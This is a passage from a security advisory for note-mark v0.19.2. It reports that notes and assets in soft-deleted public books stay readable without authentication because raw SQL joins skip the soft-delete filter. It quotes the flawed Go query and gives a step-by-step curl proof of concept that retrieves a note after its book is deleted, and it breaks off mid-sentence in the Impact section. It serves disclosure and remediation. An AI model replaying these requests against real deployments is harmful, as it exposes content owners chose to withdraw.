Note Mark: Unauthenticated read of notes and assets in soft-deleted public books
Summary
After a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw JOIN books ... clauses used by the note and asset queries.
Details
DELETE /api/books/{bookID} sets books.deleted_at to the current time. The book-level endpoint starts returning 404, which matches the owner's expectation that the book is gone. The note service and asset service query notes with a raw join that does not filter books.deleted_at IS NULL:
```go
// backend/services/notes.go:91-98 (GetNoteByID)
func (s NotesService) GetNoteByID(currentUserID *uuid.UUID, noteID uuid.UUID) (db.Note, error) {
var note db.Note
return note, dbErrorToServiceError(db.DB.
Preload("Book").
Joins("JOIN books ON books.id = notes.book_id").
Where("owner_id = ? OR is_public = ?", currentUserID, true).
First(¬e, "notes.id = ?", noteID).Error)
}
```
GORM applies its soft-delete scope to the primary model of a query (here, notes) and to implicit Joins("Book") association clauses. It does not rewrite raw SQL passed to Joins. The soft-deleted book row keeps is_public = true, so the WHERE owner_id = ? OR is_public = ? clause still evaluates true for any caller on a book that was public at deletion time. For an unauthenticated caller (currentUserID = nil), owner_id = NULL fails but is_public = true passes, so the note query returns the row.
note-mark has a restore flow at PUT /api/notes/{noteID}/restore (backend/services/notes.go:232-262) that un-deletes the note and the parent book in one transaction. Owner access to soft-deleted notes is deliberate for that path; the comment at line 253 spells out the intent. The bug is that is_public = true survives the deletion, so unauthenticated callers keep access the owner chose to revoke.
The same raw-join pattern repeats at 9 more call sites in backend/services/notes.go (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and 4 call sites in backend/services/assets.go (lines 29, 73, 106, 143). Every public endpoint that reads a note or an asset inherits the bug.
Proof of Concept
Tested against note-mark v0.19.2.
Step 1: Start note-mark.
```bash
docker run -d --name note-mark-poc -p 8088:8080 \
ghcr.io/enchant97/note-mark-backend:0.19.2
```
Step 2: Alice signs up and logs in.
```bash
curl -X POST http://localhost:8088/api/users \
-H 'Content-Type: application/json' \
-d '{"username":"alice","password":"Alicepass123!","name":"Alice"}'
curl -c alice.cookies -X POST http://localhost:8088/api/auth/token \
-H 'Content-Type: application/json' \
-d '{"grant_type":"password","username":"alice","password":"Alicepass123!"}'
```
Step 3: Alice creates a public book and adds a note with content. Save the IDs from each response.
```bash
curl -b alice.cookies -X POST http://localhost:8088/api/books \
-H 'Content-Type: application/json' \
-d '{"name":"Alice Public Book","slug":"public-book","isPublic":true}'
# {"id":"<BOOK_ID>", ...}
curl -b alice.cookies -X POST http://localhost:8088/api/books/<BOOK_ID>/notes \
-H 'Content-Type: application/json' \
-d '{"name":"Secret Note","slug":"secret-note"}'
# {"id":"<NOTE_ID>", ...}
curl -b alice.cookies -X PUT http://localhost:8088/api/notes/<NOTE_ID>/content \
-H 'Content-Type: text/plain' \
--data 'This is Alice secret note content.'
```
Step 4: Bob (no cookie) reads the note while the book is still live. This is expected for a public book.
```bash
curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.
```
Step 5: Alice soft-deletes the book.
```bash
curl -b alice.cookies -X DELETE http://localhost:8088/api/books/<BOOK_ID>
# HTTP/1.1 204 No Content
```
Step 6: The book endpoint 404s. The note endpoints still serve Alice's content to Bob.
```bash
curl -w "\n%{http_code}\n" http://localhost:8088/api/books/<BOOK_ID>
# 404
curl -w "\n%{http_code}\n" http://localhost:8088/api/notes/<NOTE_ID>
# {"id":"<NOTE_ID>","name":"Secret Note", ...}
# 200
curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.
curl http://localhost:8088/api/slug/alice/books/public-book/notes/secret-note
# {"id":"<NOTE_ID>","name":"Secret Note", ...}
```
A companion script that drives Steps 1-6 ships at pocs/poc_005_bac_soft_deleted_book.sh.
Impact
Any owner who soft-deletes a public book expecting the content to drop off the internet is wrong. Notes, markdown content, and uploaded assets stay readable for every unauthenticated caller who knows the note ID or the slug path. Slugs are human-readable and change hands in documentation, notes, and bug trackers. The leak covers every public note and
